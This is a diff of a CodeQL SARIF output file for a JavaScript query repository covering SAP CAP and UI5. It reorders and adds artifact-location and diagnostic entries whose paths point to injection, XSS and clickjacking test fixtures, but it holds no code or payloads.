+              "uri" : "javascript/heuristic-models/tests/Sources/test.js",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 339
+              "index" : 4
             }
           }
         } ],
@@ -11943,7 +11943,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "scripts/qlpack.yml",
+              "uri" : "javascript/heuristic-models/tests/codeql-pack.lock.yml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 340
             }
@@ -11969,7 +11969,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.js",
+              "uri" : "javascript/heuristic-models/tests/qlpack.yml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 341
             }
@@ -11991,6 +11991,84 @@
             "text" : ""
           }
         }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "qlt.conf.json",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 342
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "scripts/codeql-pack.lock.yml",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 343
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
+      }, {
+        "locations" : [ {
+          "physicalLocation" : {
+            "artifactLocation" : {
+              "uri" : "scripts/qlpack.yml",
+              "uriBaseId" : "%SRCROOT%",
+              "index" : 344
+            }
+          }
+        } ],
+        "message" : {
+          "text" : ""
+        },
+        "level" : "none",
+        "descriptor" : {
+          "id" : "js/diagnostics/successfully-extracted-files",
+          "index" : 1,
+          "toolComponent" : {
+            "index" : 3
+          }
+        },
+        "properties" : {
+          "formattedMessage" : {
+            "text" : ""
+          }
+        }
       } ],
       "executionSuccessful" : true
     } ],
@@ -12002,55 +12080,55 @@
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+        "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 1
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 2
       }
     }, {
       "location" : {
-        "uri" : "javascript/heuristic-models/tests/Sources/test.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 3
       }
     }, {
       "location" : {
-        "uri" : ".github/actions/install-qlt/action.yml",
+        "uri" : "javascript/heuristic-models/tests/Sources/test.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 4
       }
     }, {
       "location" : {
-        "uri" : ".github/actions/install-codeql/action.yml",
+        "uri" : ".github/actions/install-qlt/action.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 5
       }
     }, {
       "location" : {
-        "uri" : ".github/codeql/codeql-config.yaml",
+        "uri" : ".github/actions/install-codeql/action.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 6
       }
     }, {
       "location" : {
-        "uri" : ".github/codeql/extensions/javascript/frameworks/cap/ext/ext/codeql-pack.lock.yml",
+        "uri" : ".github/codeql/codeql-config.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 7
       }
     }, {
       "location" : {
-        "uri" : ".github/codeql/extensions/javascript/frameworks/cap/ext/ext/qlpack.yml",
+        "uri" : ".github/codeql/extensions/javascript/frameworks/cap/ext/ext/codeql-pack.lock.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 8
       }
     }, {
       "location" : {
-        "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/codeql-pack.lock.yml",
+        "uri" : ".github/codeql/extensions/javascript/frameworks/cap/ext/ext/qlpack.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 9
       }
@@ -12062,61 +12140,61 @@
       }
     }, {
       "location" : {
-        "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/ui5.model.yml",
+        "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/codeql-pack.lock.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 11
       }
     }, {
       "location" : {
-        "uri" : ".github/codeql/extensions/javascript/heuristic-models/ext/ext/additional-sources.model.yml",
+        "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/ui5.model.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 12
       }
     }, {
       "location" : {
-        "uri" : ".github/codeql/extensions/javascript/heuristic-models/ext/ext/codeql-pack.lock.yml",
+        "uri" : ".github/codeql/extensions/javascript/heuristic-models/ext/ext/additional-sources.model.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 13
       }
     }, {
       "location" : {
-        "uri" : ".github/codeql/extensions/javascript/heuristic-models/ext/ext/qlpack.yml",
+        "uri" : ".github/codeql/extensions/javascript/heuristic-models/ext/ext/codeql-pack.lock.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 14
       }
     }, {
       "location" : {
-        "uri" : ".github/workflows/code_scanning.yml",
+        "uri" : ".github/codeql/extensions/javascript/heuristic-models/ext/ext/qlpack.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 15
       }
     }, {
       "location" : {
-        "uri" : ".github/workflows/run-codeql-unit-tests-javascript.yml",
+        "uri" : ".github/workflows/code_scanning.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 16
       }
     }, {
       "location" : {
-        "uri" : "codeql-workspace.yml",
+        "uri" : ".github/workflows/run-codeql-unit-tests-javascript.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 17
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/lib/codeql-pack.lock.yml",
+        "uri" : "codeql-workspace.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 18
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/lib/qlpack.yml",
+        "uri" : "javascript/frameworks/cap/lib/codeql-pack.lock.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 19
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/src/codeql-pack.lock.yml",
+        "uri" : "javascript/frameworks/cap/lib/qlpack.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 20
       }
@@ -12128,7 +12206,7 @@
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/qlpack.yml",
+        "uri" : "javascript/frameworks/cap/src/codeql-pack.lock.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 22
       }
@@ -12140,37 +12218,37 @@
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/db/log-injection-not-depending-on-request/db/schema.cds.json",
+        "uri" : "javascript/frameworks/cap/test/qlpack.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 24
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/package.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/db/schema.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 25
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/server.js",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 26
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/log-injection-not-depending-on-request/srv/service1.cds.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/server.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 27
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/log-injection-not-depending-on-request/srv/service2.cds.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 28
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.js",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 29
       }
@@ -12182,13 +12260,13 @@
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/db/log-injection-with-complete-protocol-none/db/schema.cds.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 31
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/package.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/db/schema.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 32
       }
@@ -12200,91 +12278,91 @@
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/log-injection-with-complete-protocol-none/srv/service2.cds.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 34
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/log-injection-with-complete-protocol-none/srv/service1.cds.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 35
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 36
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 37
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/db/log-injection-with-service1-protocol-none/db/schema.cds.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/db/schema.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 38
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/package.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 39
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/server.js",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 40
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/log-injection-with-service1-protocol-none/srv/service1.cds.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 41
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/log-injection-with-service1-protocol-none/srv/service2.cds.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/server.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 42
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 43
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/db/log-injection-with-service2-protocol-none/db/schema.cds.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 44
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/package.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 45
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/server.js",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/db/schema.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 46
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 47
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/log-injection-with-service2-protocol-none/srv/service1.cds.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/server.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 48
       }
@@ -12296,19 +12374,19 @@
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/log-injection-with-service2-protocol-none/srv/service2.cds.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 50
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/db/log-injection-without-protocol-none/db/schema.cds.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 51
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 52
       }
@@ -12320,25 +12398,25 @@
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/log-injection-without-protocol-none/srv/service1.cds.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/db/schema.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 54
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/log-injection-without-protocol-none/srv/service2.cds.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/server.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 55
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/server.js",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 56
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 57
       }
@@ -12350,589 +12428,589 @@
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/lib/qlpack.yml",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 59
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/lib/codeql-pack.lock.yml",
+        "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sample-app/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 60
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/src/codeql-pack.lock.yml",
+        "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 61
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/src/qlpack.yml",
+        "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 62
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/codeql-pack.lock.yml",
+        "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 63
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/lib/BindingStringParser/test.js",
+        "uri" : "javascript/frameworks/ui5/lib/qlpack.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 64
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.html",
+        "uri" : "javascript/frameworks/ui5/lib/codeql-pack.lock.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 65
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.js",
+        "uri" : "javascript/frameworks/ui5/src/codeql-pack.lock.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 66
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.json",
+        "uri" : "javascript/frameworks/ui5/src/qlpack.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 67
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.xml",
+        "uri" : "javascript/frameworks/ui5/test/codeql-pack.lock.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 68
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/lib/JsonParser/test.js",
+        "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 69
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/models/binding_path/binding1.xml",
+        "uri" : "javascript/frameworks/ui5/test/lib/BindingStringParser/test.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 70
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/models/binding_path/bindingComposite.xml",
+        "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 71
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/models/attachDisplay_detachDisplay/webapp/view/App.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 72
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/models/property_getter_setter/webapp/view/App.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 73
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/models/sink/sink1.xml",
+        "uri" : "javascript/frameworks/ui5/test/lib/JsonParser/test.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 74
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/models/source/source1.xml",
+        "uri" : "javascript/frameworks/ui5/test/models/binding_path/binding1.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 75
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/qlpack.yml",
+        "uri" : "javascript/frameworks/ui5/test/models/binding_path/bindingComposite.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 76
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/index.html",
+        "uri" : "javascript/frameworks/ui5/test/models/multiple_models/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 77
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/models/multiple_models/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/models/sink/sink1.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 78
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/models/source/source1.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 79
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/index.html",
+        "uri" : "javascript/frameworks/ui5/test/qlpack.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 80
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 81
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 82
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 83
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 84
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 85
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 86
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 87
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 88
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 89
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 90
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 91
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 92
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 93
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 94
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 95
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 96
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 97
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 98
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 99
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 100
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 101
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 102
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/ui5.yaml",
